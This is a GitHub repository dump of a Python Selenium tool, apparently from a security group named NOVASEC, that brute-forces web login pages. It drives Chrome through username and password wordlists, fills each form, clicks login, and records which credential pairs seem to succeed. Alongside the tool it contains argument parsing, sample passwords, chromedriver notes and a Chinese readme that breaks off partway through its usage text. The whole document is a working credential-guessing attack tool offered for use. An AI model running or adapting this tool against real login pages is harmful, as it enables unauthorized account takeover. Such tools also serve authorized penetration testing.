├── .gitignore ├── browser-brute.py ├── chromePortable.zip ├── chromedriver ├── Chromedriver版本说明及下载地址.txt └── chromedriver新版本下载.txt ├── doc └── NOVASEC.jpg ├── lib ├── DataType.py ├── InputParse.py ├── __init__.py └── util.py ├── password.txt ├── readme.md ├── requirements.txt ├── setting.py └── username.txt /.gitignore: -------------------------------------------------------------------------------- 1 | chromePortable 2 | .gitignore 3 | .idea 4 | *.pyc 5 | -------------------------------------------------------------------------------- /browser-brute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | from selenium import webdriver 4 | from selenium.webdriver.common import action_chains 5 | from selenium.webdriver.chrome.options import Options 6 | from lib.DataType import config 7 | from lib.InputParse import ParserCmd, remove_dict_none_value_key 8 | 9 | import time 10 | import sys 11 | 12 | from lib.util import list_in_str 13 | from setting import RESULT_FILE_ENCODING, SUCCESS_KEY_LIST, FAILURE_KEY_LIST, RESULT_LOG_NAME, RESULT_LOG_ENCODING, \ 14 | RESULT_FILE_NAME 15 | 16 | sys.dont_write_bytecode = True 17 | 18 | if sys.version > '3': 19 | print('[*] Python3 was used !!! This program should supports Python2 and Python3') 20 | else: 21 | print('[*] Python2 was used !!! This program should supports Python2 and Python3') 22 | sys.reload(sys) 23 | sys.setdefaultencoding('utf-8') 24 | 25 | 26 | def set_browser(proxy=None, user_agent=None, user_dir=None, chrome_path=None, driver_path=None, headless=False): 27 | """ 28 | # selenium.webdriver.chrome.options 中add_argument 常用参数表 29 | # https://blog.csdn.net/qq_42059060/article/details/104522492 30 | # python+selenium+Chrome options参数 31 | # https://www.cnblogs.com/yangjintao/p/10599868.html 32 | # selenium 自动化:指定浏览器和指定驱动(Chrome) 33 | # https://blog.csdn.net/qq_41030861/article/details/105294133?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-7.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-7.control 34 | # executable_path 为chromedriver.exe所在地址。 35 | # chromedriver.exe的下载地址为 http://chromedriver.storage.googleapis.com/index.html 36 | # 首先需要确定本机的Chrome浏览器的版本,在Chrome浏览器里输入"chrome://version" 37 | """ 38 | options = Options() 39 | 40 | # 防止打印一些无用的日志 41 | options.add_experimental_option("excludeSwitches", ['enable-automation', 'enable-logging']) 42 | 43 | # 使用指定代理服务器, 对 http 和 https 有效 44 | if proxy is not None: 45 | # proxy ='http://127.0.0.1:8080' 46 | options.add_argument('--proxy-server=%s' % proxy) 47 | 48 | # 是否使用自定义user-agent 49 | if not user_agent: 50 | user_agent = 'Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; BLA-AL00 Build/HUAWEIBLA-AL00) AppleWebKit/537.36 ' \ 51 | '(KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/8.9 Mobile Safari/537.36 ' 52 | options.add_argument('--user-agent=%s' % user_agent) 53 | 54 | # 使用自定义账户资料夹 55 | if user_dir is not None: 56 | # browser_user_dir = "D:\temp\Chrome User Data" 57 | options.add_argument('user-data-dir=%s' % user_dir) 58 | 59 | # 浏览器不提供可视化页面 60 | if headless: 61 | options.add_argument('--headless') 62 | 63 | # 指定chrome.exe所在文件路径 #可添加chrome.exe到系统path环境变量 64 | if chrome_path is not None: 65 | # browser_chrome_path =r'C:\Users\Windows\AppData\Roaming\89.0.4389.128\chrome.exe' 66 | options.binary_location = chrome_path 67 | 68 | # webdriver加载Chrome 69 | if driver_path is not None: 70 | # 指定驱动路径加载 71 | # browser_driver_path = r"chromedriver\chromedriver_win32_89.0.4389.23.exe" 72 | browser = webdriver.Chrome(executable_path=driver_path, options=options) 73 | # 使用options替换chrome_options 74 | else: 75 | # 默认驱动路径加载 76 | browser = webdriver.Chrome(options=options) 77 | print('set_browser Initialize Successfully !!!') 78 | return browser 79 | 80 | 81 | def browser_get_elem(module, browser, elem_find_dict): 82 | if elem_find_dict["find_element_by_id"] is not None: 83 | elem = browser.find_element_by_id(elem_find_dict["find_element_by_id"]) 84 | elif elem_find_dict["find_element_by_name"] is not None: 85 | elem = browser.find_element_by_name(elem_find_dict["find_element_by_name"]) 86 | elif elem_find_dict["find_element_by_class_name"] is not None: 87 | elem = browser.find_element_by_class_name(elem_find_dict["find_element_by_class_name"]) 88 | elif elem_find_dict["find_element_by_css_selector"] is not None: 89 | elem = browser.find_element_by_css_selector(elem_find_dict["find_element_by_css_selector"]) 90 | else: 91 | elem = None 92 | print('No {} elem, browser.quit and sys.exit!!!'.format(module)) 93 | browser.quit() 94 | sys.exit() 95 | return elem 96 | 97 | 98 | def brute_login(user=None, pwd=None, login_url=None, time_1=1, time_2=1, 99 | user_id=None, user_class=None, user_name=None, user_css_selector=None, 100 | pass_id=None, pass_class=None, pass_name=None, pass_css_selector=None, 101 | button_id=None, button_class=None, button_name=None, button_css_selector=None, 102 | success_key_list=None, failure_key_list=None): 103 | if failure_key_list is None: 104 | failure_key_list = [] 105 | if success_key_list is None: 106 | success_key_list = [] 107 | try: 108 | action = action_chains.ActionChains(browser) 109 | browser.delete_all_cookies() # 清除cookie 110 | browser.get(login_url) 111 | 112 | time.sleep(time_1) # 延迟时间 113 | # implicitly_wait 隐式等待 在尝试发现某个元素的时候,如果没能立刻发现,就等待固定长度的时间。 114 | # browser.implicitly_wait(5) #implicitly_wait 隐式等待 #报错提示服务器时间未同步 115 | # browser.refresh() # 刷新方法 refresh 116 | # browser.implicitly_wait(5) #implicitly_wait 隐式等待 117 | 118 | module = 'Username' 119 | elem_find_dict = {'find_element_by_id': user_id, 120 | 'find_element_by_name': user_name, 121 | 'find_element_by_class_name': user_class, 122 | 'find_element_by_css_selector': user_css_selector 123 | } 124 | elem = browser_get_elem(module, browser, elem_find_dict) 125 | 126 | if elem: 127 | # 清空数据 128 | elem.clear() 129 | # 填充账号 130 | elem.send_keys(user) 131 | action.perform() 132 | 133 | module = 'Password' 134 | elem_find_dict = {'find_element_by_id': pass_id, 135 | 'find_element_by_name': pass_name, 136 | 'find_element_by_class_name': pass_class, 137 | 'find_element_by_css_selector': pass_css_selector 138 | } 139 | elem = browser_get_elem(module, browser, elem_find_dict) 140 | if elem: 141 | # 清空数据 142 | elem.clear() 143 | # 填充密码 144 | elem.send_keys(pwd) 145 | action.perform() 146 | 147 | module = 'Button' 148 | elem_find_dict = {'find_element_by_id': button_id, 149 | 'find_element_by_name': button_name, 150 | 'find_element_by_class_name': button_class, 151 | 'find_element_by_css_selector': button_css_selector 152 | } 153 | elem = browser_get_elem(module, browser, elem_find_dict) 154 | if elem: 155 | # 点击按钮 156 | elem.click() 157 | 158 | # 等待加载完成 159 | time.sleep(time_2) # Explicit Waits 显示等待 160 | # 获取当前页面的窗口句柄 161 | # print(browser.current_window_handle) 162 | # 获取当前页面URL 163 | currentPageUrl = browser.current_url 164 | # print('current Page Url:', currentPageUrl) 165 | # 获取当前页面title 166 | currentPageTitle = browser.title 167 | # print('current Page Title:', currentPageTitle) 168 | # 获取当前页面的源码并断言 169 | pageSourceSize = len(browser.page_source) 170 | # print('current Page Size:', pageSourceSize) 171 | brute_Log = "{}|{}|{}|{}|{}".format(user, pwd, str(currentPageUrl), str(currentPageTitle), str(pageSourceSize)) 172 | print('[*] 访问结果: {}'.format(brute_Log)) 173 | with open(RESULT_LOG_NAME, "a+", encoding=RESULT_LOG_ENCODING) as f_BruteLog: 174 | f_BruteLog.write(brute_Log + '\n') 175 | 176 | # 开启登录后登录成功关键字匹配功能 177 | if len(success_key_list) > 0: 178 | # 自定义匹返回页面匹配关键字 179 | if list_in_str(success_key_list, browser.page_source, default=True): 180 | status = "预期登录成功" 181 | else: 182 | status = "疑似登录失败" 183 | result_str = '"user:{}","pwd:{}","Url:{}","keyword:{}","status:{}"'.format(user, pwd, str(currentPageUrl), 184 | success_key_list, status) 185 | with open(RESULT_FILE_NAME, "a+", encoding=RESULT_FILE_ENCODING) as f_result: 186 | f_result.write(result_str + '\n') 187 | print(result_str) 188 | # 开启登录后登录失败关键字匹配功能 189 | elif len(failure_key_list) > 0: 190 | # 自定义匹返回页面匹配关键字 191 | if list_in_str(failure_key_list, browser.page_source, default=False): 192 | status = "预期登录失败" 193 | else: 194 | status = "疑似登录成功" 195 | result_str = '"user:{}","pwd:{}","Url:{}","keyword:{}","status:{}"'.format(user, pwd, str(currentPageUrl), 196 | failure_key_list, status) 197 | with open("Brute-Result.csv", "a+", encoding=RESULT_FILE_ENCODING) as f_result: 198 | f_result.write(result_str + '\n') 199 | print(result_str) 200 | 201 | except KeyboardInterrupt as error: 202 | print('[-] KeyboardInterrupt:{}'.format(error)) 203 | browser.quit() 204 | exit() 205 | 206 | except Exception as error: 207 | print('[!] 发生异常,Exception:{}'.format(error)) 208 | browser.quit() 209 | exit() 210 | 211 | 212 | def batch_brute_login(login_url=None, time_1=1, time_2=1, 213 | user_id=None, user_name=None, user_class=None, user_css_selector=None, 214 | pass_id=None, pass_name=None, pass_class=None, pass_css_selector=None, 215 | button_id=None, button_name=None, button_class=None, button_css_selector=None, 216 | user_dict='username.txt', pass_dict='password.txt', success_key_list=None, failure_key_list=None): 217 | if failure_key_list is None: 218 | failure_key_list = [] 219 | if success_key_list is None: 220 | success_key_list = [] 221 | if user_dict == pass_dict: 222 | print('[+] 正在使用账号密码对格式字典文件 {} 进行爆破...'.format(user_dict)) 223 | with open(user_dict, 'r', ) as f_user: 224 | user_pass_list = f_user.readlines() 225 | for user_pass in user_pass_list: 226 | user = user_pass.split(":", 1)[0].strip() 227 | pwd = user_pass.split(":", 1)[-1].strip() 228 | print('[*] 开始测试: {},{}'.format(user, pwd)) 229 | brute_login(user=user, pwd=pwd, login_url=login_url, time_1=time_1, time_2=time_2, 230 | user_id=user_id, user_name=user_name, user_class=user_class, 231 | user_css_selector=user_css_selector, 232 | pass_id=pass_id, pass_name=pass_name, pass_class=pass_class, 233 | pass_css_selector=pass_css_selector, 234 | button_id=button_id, button_name=button_name, button_class=button_class, 235 | button_css_selector=button_css_selector, 236 | success_key_list=success_key_list, failure_key_list=failure_key_list) 237 | else: 238 | with open(user_dict, 'r', ) as f_user: 239 | user_list = f_user.readlines() 240 | with open(pass_dict, 'r') as f_pwd: 241 | pass_list = f_pwd.readlines() 242 | for user in user_list: 243 | user = user.strip() 244 | for pwd in pass_list: 245 | pwd = pwd.strip() 246 | print('[*] 开始测试: {},{}'.format(user, pwd)) 247 | brute_login(user=user, pwd=pwd, login_url=login_url, time_1=time_1, time_2=time_2, 248 | user_id=user_id, user_name=user_name, user_class=user_class, 249 | user_css_selector=user_css_selector, 250 | pass_id=pass_id, pass_name=pass_name, pass_class=pass_class, 251 | pass_css_selector=pass_css_selector, 252 | button_id=button_id, button_name=button_name, button_class=button_class, 253 | button_css_selector=button_css_selector, 254 | success_key_list=success_key_list, 255 | failure_key_list=failure_key_list) 256 | 257 | 258 | if __name__ == '__main__': 259 | # 解析命令行参数 260 | args = ParserCmd().init() 261 | 262 | # 对于默认为None和False的参数需要进行忽略,这种情况下,所有参数的默认输入值必须设置不为(None和False),这两种值的情况下就会调用默认值 263 | remove_dict_none_value_key(args) 264 | 265 | # 将用户输入的参数传递到config(全局字典变量) #解析命令行功能时会覆盖setting.py中的配置文件参数 266 | config.update(args) 267 | 268 | # 对输入的目标数量进行判断和处理 269 | if not config.login_url: 270 | print("[-] 未输入任何有效目标,即将退出程序...") 271 | sys.exit() 272 | 273 | try: 274 | # 设置浏览器 275 | browser = set_browser(proxy=config.browser_proxy, user_agent=config.browser_useragent, 276 | user_dir=config.browser_user_dir, chrome_path=config.browser_chrome_path, 277 | driver_path=config.browser_driver_path, headless=config.browser_headless) 278 | except Exception as error: 279 | print("[!] 注意: 浏览器设置发生错误,错误内容:{} ,即将退出程序...".format(error)) 280 | sys.exit() 281 | 282 | try: 283 | # 开始进行批量爆破 284 | batch_brute_login(login_url=config.login_url, time_1=config.time_1, time_2=config.time_2, 285 | user_id=config.user_id, user_class=config.user_class, user_name=config.user_name, 286 | user_css_selector=config.user_css_selector, 287 | pass_id=config.pass_id, pass_class=config.pass_class, pass_name=config.pass_name, 288 | pass_css_selector=config.pass_css_selector, 289 | button_id=config.button_id, button_class=config.button_class, button_name=config.button_name, 290 | button_css_selector=config.button_css_selector, user_dict=config.user_dict, 291 | pass_dict=config.pass_dict, 292 | success_key_list=SUCCESS_KEY_LIST, 293 | failure_key_list=FAILURE_KEY_LIST) 294 | except Exception as error: 295 | print("[!] 注意:爆破模块发生错误,错误内容:{}".format(error)) 296 | finally: 297 | browser.quit() 298 | sys.exit() 299 | -------------------------------------------------------------------------------- /chromePortable.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/winezer0/SeleBrute/5663340e66e7e0f94aa9a392077a7f713552fe1e/chromePortable.zip -------------------------------------------------------------------------------- /chromedriver/Chromedriver版本说明及下载地址.txt: -------------------------------------------------------------------------------- 1 | Chrome与Chromedriver版本对应表(最新) 2 | https://blog.csdn.net/weixin_45532870/article/details/106327359 3 | 4 | 关于版本的选择: 5 | 直接按照浏览器版本去找对应的driver就行了。 6 | (如果不能一一对应,就找大版本号对应的或者比浏览器版本号稍大的都行) 7 | 还有一点,对于windows的用户来说,win64的操作系统用win32的就行。 8 | 9 | 所有chromedriver均可在下面链接找到! 10 | 官方网站:(需要有外网才可以访问) 11 | https://sites.google.com/a/chromium.org/chromedriver 12 | http://npm.taobao.org/mirrors/chromedriver/ 13 | https://chromedriver.storage.googleapis.com/index.html 14 | 15 | chrome 100.0.4896.60 驱动下载 16 | https://chromedriver.storage.googleapis.com/index.html?path=100.0.4896.60/ 17 | 18 | 19 | chrome版本 chromedriver版本 20 | 83.0.4103.39 83 21 | 83.0.4103.14 83 22 | 81.0.4044.138 81 23 | 81.0.4044.69 81 24 | 81.0.4044.20 81 25 | 80.0.3987.106 80 26 | 80.0.3987.16 80 27 | 79.0.3945.36 79 28 | 79.0.3945.16 79 29 | 78.0.3904.105 78 30 | 78.0.3904.70 78 31 | 78.0.3904.11 78 32 | 77.0.3865.40 77 33 | 77.0.3865.10 77 34 | 76.0.3809.126 76 35 | 76.0.3809.68 76 36 | 76.0.3809.25 76 37 | 76.0.3809.12 76 38 | 75.0.3770.90 75 39 | 75.0.3770.8 75 40 | 74.0.3729.6 74 41 | 73.0.3683.68 73 42 | 72.0.3626.69 72 43 | 2.46 71-73 44 | 2.45 70-72 45 | 2.44 69-71 46 | 2.43 69-71 47 | 2.42 68-70 48 | 2.41 67-69 49 | 2.4 66-68 50 | 2.39 66-68 51 | 2.38 65-67 52 | 2.37 64-66 53 | 2.36 63-65 54 | 2.35 62-64 55 | -------------------------------------------------------------------------------- /chromedriver/chromedriver新版本下载.txt: -------------------------------------------------------------------------------- 1 | 参考资料 https://zhuanlan.zhihu.com/p/17552770554 2 | 3 | linux64:https://storage.googleapis.com/chrome-for-testing-public/136.0.7103.92/linux64/chromedriver-linux64.zip 4 | mac-arm64:https://storage.googleapis.com/chrome-for-testing-public/136.0.7103.92/mac-arm64/chromedriver-mac-arm64.zip 5 | mac-x64:https://storage.googleapis.com/chrome-for-testing-public/136.0.7103.92/mac-x64/chromedriver-mac-x64.zip 6 | 7 | win32:https://storage.googleapis.com/chrome-for-testing-public/136.0.7103.92/win32/chromedriver-win32.zip 8 | win64:https://storage.googleapis.com/chrome-for-testing-public/136.0.7103.92/win64/chromedriver-win64.zip 9 | 10 | 这个有配套的chrome:https://googlechromelabs.github.io/chrome-for-testing/ 11 | 12 | 把上面的136.0.7103.92替换成任意一个Chrome版本号即可,记得ChromeDriver要与对应的Chrome配合使用,否则可能会出错。 13 | 14 | -------------------------------------------------------------------------------- /doc/NOVASEC.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/winezer0/SeleBrute/5663340e66e7e0f94aa9a392077a7f713552fe1e/doc/NOVASEC.jpg -------------------------------------------------------------------------------- /lib/DataType.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | sys.dont_write_bytecode = True 5 | import copy 6 | import types 7 | 8 | class AttribDict(dict): 9 | """ 10 | This class defines the sqlmap object, inheriting from Python data 11 | type dictionary. 12 | 13 | >>> foo = AttribDict() 14 | >>> foo.bar = 1 15 | >>> foo.bar 16 | 1 17 | """ 18 | 19 | def __init__(self, indict=None, attribute=None): 20 | if indict is None: 21 | indict = {} 22 | 23 | # Set any attributes here - before initialisation 24 | # these remain as normal attributes 25 | self.attribute = attribute 26 | dict.__init__(self, indict) 27 | self.__initialised = True 28 | 29 | # After initialisation, setting attributes 30 | # is the same as setting an item 31 | 32 | def __getattr__(self, item): 33 | """ 34 | Maps values to attributes 35 | Only called if there *is NOT* an attribute with this name 36 | """ 37 | 38 | try: 39 | return self.__getitem__(item) 40 | except KeyError: 41 | raise AttributeError("unable to access item '%s'" % item) 42 | 43 | def __setattr__(self, item, value): 44 | """ 45 | Maps attributes to values 46 | Only if we are initialised 47 | """ 48 | 49 | # This test allows attributes to be set in the __init__ method 50 | if "_AttribDict__initialised" not in self.__dict__: 51 | return dict.__setattr__(self, item, value) 52 | 53 | # Any normal attributes are handled normally 54 | elif item in self.__dict__: 55 | dict.__setattr__(self, item, value) 56 | 57 | else: 58 | self.__setitem__(item, value) 59 | 60 | def __getstate__(self): 61 | return self.__dict__ 62 | 63 | def __setstate__(self, dict): 64 | self.__dict__ = dict 65 | 66 | def __deepcopy__(self, memo): 67 | retVal = self.__class__() 68 | memo[id(self)] = retVal 69 | 70 | for attr in dir(self): 71 | if not attr.startswith('_'): 72 | value = getattr(self, attr) 73 | if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): 74 | setattr(retVal, attr, copy.deepcopy(value, memo)) 75 | 76 | for key, value in self.items(): 77 | retVal.__setitem__(key, copy.deepcopy(value, memo)) 78 | 79 | return retVal 80 | 81 | class InjectionDict(AttribDict): 82 | def __init__(self): 83 | AttribDict.__init__(self) 84 | 85 | self.place = None 86 | self.parameter = None 87 | self.ptype = None 88 | self.prefix = None 89 | self.suffix = None 90 | self.clause = None 91 | self.notes = [] # Note: https://github.com/sqlmapproject/sqlmap/issues/1888 92 | 93 | # data is a dict with various stype, each which is a dict with 94 | # all the information specific for that stype 95 | self.data = AttribDict() 96 | 97 | # conf is a dict which stores current snapshot of important 98 | # options used during detection 99 | self.conf = AttribDict() 100 | 101 | self.dbms = None 102 | self.dbms_version = None 103 | self.os = None 104 | 105 | # module paths 106 | paths = AttribDict() 107 | 108 | # config 109 | config = AttribDict() 110 | 111 | data = AttribDict() 112 | 113 | 114 | -------------------------------------------------------------------------------- /lib/InputParse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | import sys 4 | sys.dont_write_bytecode = True 5 | import argparse 6 | from pyfiglet import Figlet 7 | # 获取版本号,并返回版本号字符串 8 | from setting import version 9 | 10 | # 移除字典内没有值、或值为'()'的键 11 | def remove_dict_none_value_key(dict_, bracket=True): 12 | """ 13 | 移除字典内没有值、或 值为'()'的键 14 | bracket 是否移除值为'()'括号的键 15 | """ 16 | for key in list(dict_.keys()): 17 | if not dict_.get(key) or dict_.get(key) is None: 18 | del dict_[key] 19 | elif bracket and dict_.get(key) == '()': 20 | del dict_[key] 21 | return dict_ 22 | 23 | # 获取版本号,并返回版本号字符串 24 | def get_version(): 25 | """ 26 | 获取版本号,并返回版本号字符串 27 | """ 28 | return '[*] 当前的工具版本号为: {} !!!'.format(version) 29 | 30 | 31 | class ParserCmd(object): 32 | 33 | def __init__(self): 34 | super(ParserCmd, self).__init__() 35 | self.parser = self.my_parser() 36 | self.args = self.parser.parse_args().__dict__ 37 | 38 | def my_parser(self): 39 | example = """Examples: 40 | \r python3 {shell_name} -lu http://www.baidu.com 41 | \r python3 {shell_name} -lu http://www.baidu.com -p http://127.0.0.1:8080 42 | \r 43 | \r 其他控制细节参数请通过setting.py进行配置 44 | \r 45 | \r T00L Version: {version} 46 | \r 47 | """ 48 | 49 | parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,add_help=True, description=Figlet().renderText("Browser-Brute")) 50 | # 使 example 支持换行 51 | parser.epilog = example.format(shell_name=parser.prog, version=version) 52 | 53 | # 登录页配置参数 54 | parser.add_argument("-lu", "--login_url", help=r"The login address, eg: http://192.168.1.1/login.aspx",default=None) # 指定登录地址 55 | parser.add_argument("-t1", "--time_1", help=r"Specifies the pause time (s) before access , eg: 1", default=1, type=float) # 指定访问前暂停时间 56 | parser.add_argument("-t2", "--time_2", help=r"Specifies the pause time (s) after access , eg: 1 ", default=1, type=float) # 指定访问后暂停时间 57 | 58 | parser.add_argument("-ui", "--user_id", help=r"Specify the username attribute by id", default=None) # 指定用户名属性 id 59 | parser.add_argument("-un", "--user_name", help=r"Specify the username attribute by name", default=None) # 指定用户名属性 name 60 | parser.add_argument("-uc", "--user_class", help=r"Specify the username attribute by class, No Spaces",default=None) # 指定用户名属性 class 61 | parser.add_argument("-us", "--user_css_selector", help=r"Specify the username attribute by css selector, handle Spaces",default=None) # CSS选择属性 62 | 63 | parser.add_argument("-pi", "--pass_id", help=r"Specify the password attribute by id", default=None) # 指定密码属性 id 64 | parser.add_argument("-pn", "--pass_name", help=r"Specify the password attribute by name", default=None) # 指定密码属性 name 65 | parser.add_argument("-pc", "--pass_class", help=r"Specify the password attribute by class, No Spaces",default=None) # 指定密码属性 class 66 | parser.add_argument("-ps", "--pass_css_selector", help=r"Specify the password attribute by css selector, handle Spaces",default=None) # CSS选择属性 67 | 68 | parser.add_argument("-bi", "--button_id", help=r"Specify the login button attribute by id", default=None) # 指定登录按钮属性 id 69 | parser.add_argument("-bn", "--button_name", help=r"Specify the login button attribute by name", default=None) # 指定登录按钮属性 name 70 | parser.add_argument("-bc", "--button_class", help=r"Specify the login button attribute by class, No Spaces", default=None) # 指定登录按钮属性 class 71 | parser.add_argument("-bs", "--button_css_selector", help=r"Specify the button attribute by css selector, handle Spaces",default=None) # CSS选择属性 72 | 73 | # 字典配置参数 74 | parser.add_argument("-ud", "--user_dict", help=r"Specify the login username dict", default='username.txt') # 指定用户名字典 75 | parser.add_argument("-pd", "--pass_dict", help=r"Specify the login password dict",default='password.txt') # 指定密码字典 76 | 77 | # 关键字匹配参数 78 | # parser.add_argument("-k", "--keyword", help="Specifies the keyword to match in the return message", default='success') # 指定在返回报文中匹配的关键字 79 | 80 | # 浏览器配置参数 81 | parser.add_argument("-bh", "--browser_headless", 82 | help=r"Specifies the Browser browser_headless, eg: True", default=False) # 指定是否显示浏览器界面 83 | parser.add_argument("-bp", "--browser_proxy", 84 | help=r"Specifies the Browser Proxy IP for HTTP or HTTPS , eg: http://127.0.0.1:8080",default=None) # 指定浏览器代理服务器地址 85 | parser.add_argument("-bua", "--browser_useragent", 86 | help=r"Specifies the Browser UserAgent , eg: Mozilla/5.0 Version/4.0", default=None) # 指定浏览器User Agent头 87 | parser.add_argument("-bud", "--browser_user_dir", 88 | help=r"Specifies the Browser User Dir , eg: D:\temp\Chrome User Data",default=None) # 指定浏览器用户数据目录 89 | parser.add_argument("-bcp", "--browser_chrome_path", 90 | help=r"Specifies the Browser Chrome.exe Path , eg: C:\chrome\chrome.exe",default=None) # 指定浏览器chrome.exe路径 91 | parser.add_argument("-bdp", "--browser_driver_path", 92 | help=r"Specifies the Browser Driver Path, eg: D:\temp\chromedriver.exe", default=None) # 指定浏览器chromedriver.exe路径 93 | 94 | parser.add_argument("-v", "--version", action="version", version=get_version(), help="显示程序当前版本号") 95 | return parser 96 | 97 | @staticmethod 98 | def init(): 99 | parser = ParserCmd() 100 | 101 | return parser.args 102 | 103 | 104 | if __name__ == '__main__': 105 | args = ParserCmd().init() 106 | print(args) 107 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/winezer0/SeleBrute/5663340e66e7e0f94aa9a392077a7f713552fe1e/lib/__init__.py -------------------------------------------------------------------------------- /lib/util.py: -------------------------------------------------------------------------------- 1 | # !/usr/bin/env python3 2 | # _*_ coding:utf-8 _*_ 3 | 4 | # 判断列表内的字符串是否某个字符串内 # 如果列表为空,就返回default值 5 | def list_in_str(list_=None, str_=None, default=True): 6 | flag = False 7 | if list_: 8 | for ele in list_: 9 | if ele in str_: 10 | flag = True 11 | break 12 | else: 13 | flag = default 14 | return flag 15 | 16 | -------------------------------------------------------------------------------- /password.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | Abcd1234# 3 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | 2 | # 基于 selenium 模拟浏览器进行登录枚举 -- by NOVASEC 3 | 4 | 由于 selenium 依赖问题 该项目不再进行维护 5 | 6 | 开发及使用细节参考: 7 | 8 | Python实现简约的 selenium 登录爆破框架 9 | 10 | https://mp.weixin.qq.com/s/qLmEp8KXmYYyGaPkLWGwAw 11 | 12 | 13 | 14 | 关于如何使用CSS选择器 15 | 16 | 谷歌浏览器--F12--Crtl+C选择元素--右键复制--复制Selector 17 | 18 | 19 | 20 | # 重点注意 21 | 22 | ``` 23 | 由于脚本依赖Chrome和ChromeDriver运行环境,导致新人环境经常配置错误。 24 | 25 | 因此考虑上次Chrome程序及对应驱动,但是github无法上传超过100M的数据。 26 | 27 | 并且考虑到程序依赖环境的便携,因此存入chromePortable (Chrome便携版,可更新) 28 | 29 | 注意: 30 | 31 | chromePortable内仅仅包含便携版的启动器和下载器,不包含实际可执行的Chrome程序。 32 | 33 | 因此,使用前请 联网打开 [chromePortable目录下的Chrome.vbs或Chrome.exe] 下载对应的chrome浏览器版本。 34 | 35 | 如果有安全环境需求,建议自己在setting.py内设置自己的Chrome.exe路径。 36 | 37 | 38 | 不能使用最新版的selenium,建议使用:selenium=4.2.0(感谢wolvez反馈 39 | pip3 install -r requirements.txt 40 | pip3 uninstall selenium 41 | pip3 install selenium==4.2.0 42 | 43 | ``` 44 | 45 | 46 | 47 | # 更新记录 48 | 49 | 20220321 添加配置文件功能,记录命令有一些不友好。[已添加] 50 | 51 | 20220321 不小心删除了整个项目,需要重新积累Star啦 52 | 53 | 20220323 增加css选择器(find_element_by_css_selector)处理其他三个选择器无法匹配到空格关键字的问题 54 | 55 | 20220402 增加chromedriver驱动和chromePortable文件夹。内置chromedriver驱动和Chrome便携版本vbs下载器。 56 | 57 | ``` 58 | Selenium之find_element_by_css_selector()的使用方法参考: 59 | https://blog.csdn.net/qq_35861801/article/details/108125082 60 | ``` 61 | 62 | 20220727 支持USER:PASS格式的字典,当参数设置时,用户名字典和密码字典相同时,自动调用。 63 | 64 | ``` 65 | if user_dict == pass_dict: 66 | user_pass_list = f_user.readlines() 67 | for user_pass in user_pass_list: 68 | user = user_pass.split(":", 1)[0].strip() 69 | pwd = user_pass.split(":", 1)[-1].strip() 70 | ``` 71 | 72 | 73 | 74 | # Todo 75 | 76 | 2. 考虑扩展为注入JS来进行登陆参数匹配,便于用户在浏览器调试(概率)。 77 | 78 | 3. 对接验证码识别方案(概率)。 79 | 80 | 81 | 82 | 83 | # 必备 84 | 85 | 1. 你需要一个Chrome浏览器 86 | 87 | ``` 88 | 已内置便携Chrome版本下载器,使用前请打开ChromePortable/Chrome.vbs下载对应的chrome浏览器版本。 89 | ``` 90 | 91 | 2. 你需要一个chromedriver驱动程序 92 | 93 | ``` 94 | 已内置chromedriver_win32_100.0.4896.60.exe,如需替换请修改setting.py中的chromedriver路径。 95 | 96 | Chrome与Chromedriver版本对应表: 97 | https://blog.csdn.net/weixin_45532870/article/details/106327359 98 | ``` 99 | 100 | 101 | 102 | # 命令示例: 103 | 104 | ``` 105 | 方式1:使用setting.py配置启动参数后 106 | python3 browser-brute.py 107 | 当前版本推荐在setting.py中配置启动参数 108 | 109 | 110 | 方式2:命令行制定启动参数 111 | python3 browser-brute.py 112 | -lu http://xxxxx/login.html 113 | --user_[class|name|id|CSS] 帐号表单[class|name|id|CSS]属性 114 | --pass_[class|name|id|CSS] 密码表单[class|name|id|CSS]属性 115 | --button_[class|name|id|CSS] 登录按钮[class|name|id|CSS]属性 116 | -bcp "path-of-chrome.exe" 117 | -bdp "path-of-chromedriver.exe" 118 | -ud username.txt -pd password.txt 119 | ``` 120 | 121 | 122 | 123 | # 使用方法 124 | 125 | ``` 126 | Python3 was used !!! This program supports Python2 and Python3 127 | 128 | usage: browser-brute.py [-h] [-lu LOGIN_URL] [-t1 TIME_1] [-t2 TIME_2] [-ui USER_ID] [-un USER_NAME] [-uc USER_CLASS] [-us USER_CSS_SELECTOR] [-pi PASS_ID] [-pn PASS_NAME] [-pc PASS_CLASS] [-ps PASS_CSS_SELECTOR] 129 | [-bi BUTTON_ID] [-bn BUTTON_NAME] [-bc BUTTON_CLASS] [-bs BUTTON_CSS_SELECTOR] [-ud USER_DICT] [-pd PASS_DICT] [-k KEYWORD] [-bh BROWSER_HEADLESS] [-bp BROWSER_PROXY] [-bua BROWSER_USERAGENT] 130 | [-bud BROWSER_USER_DIR] [-bcp BROWSER_CHROME_PATH] [-bdp BROWSER_DRIVER_PATH] [-v] 131 | 132 | optional arguments: 133 | -h, --help show this help message and exit 134 | -lu LOGIN_URL, --login_url LOGIN_URL 135 | The login address, eg: http://192.168.1.1/login.aspx 136 | -t1 TIME_1, --time_1 TIME_1 137 | Specifies the pause time (s) before access , eg: 1 138 | -t2 TIME_2, --time_2 TIME_2 139 | Specifies the pause time (s) after access , eg: 1 140 | -ui USER_ID, --user_id USER_ID 141 | Specify the username attribute by id 142 | -un USER_NAME, --user_name USER_NAME 143 | Specify the username attribute by name 144 | -uc USER_CLASS, --user_class USER_CLASS 145 | Specify the username attribute by class, No Spaces 146 | 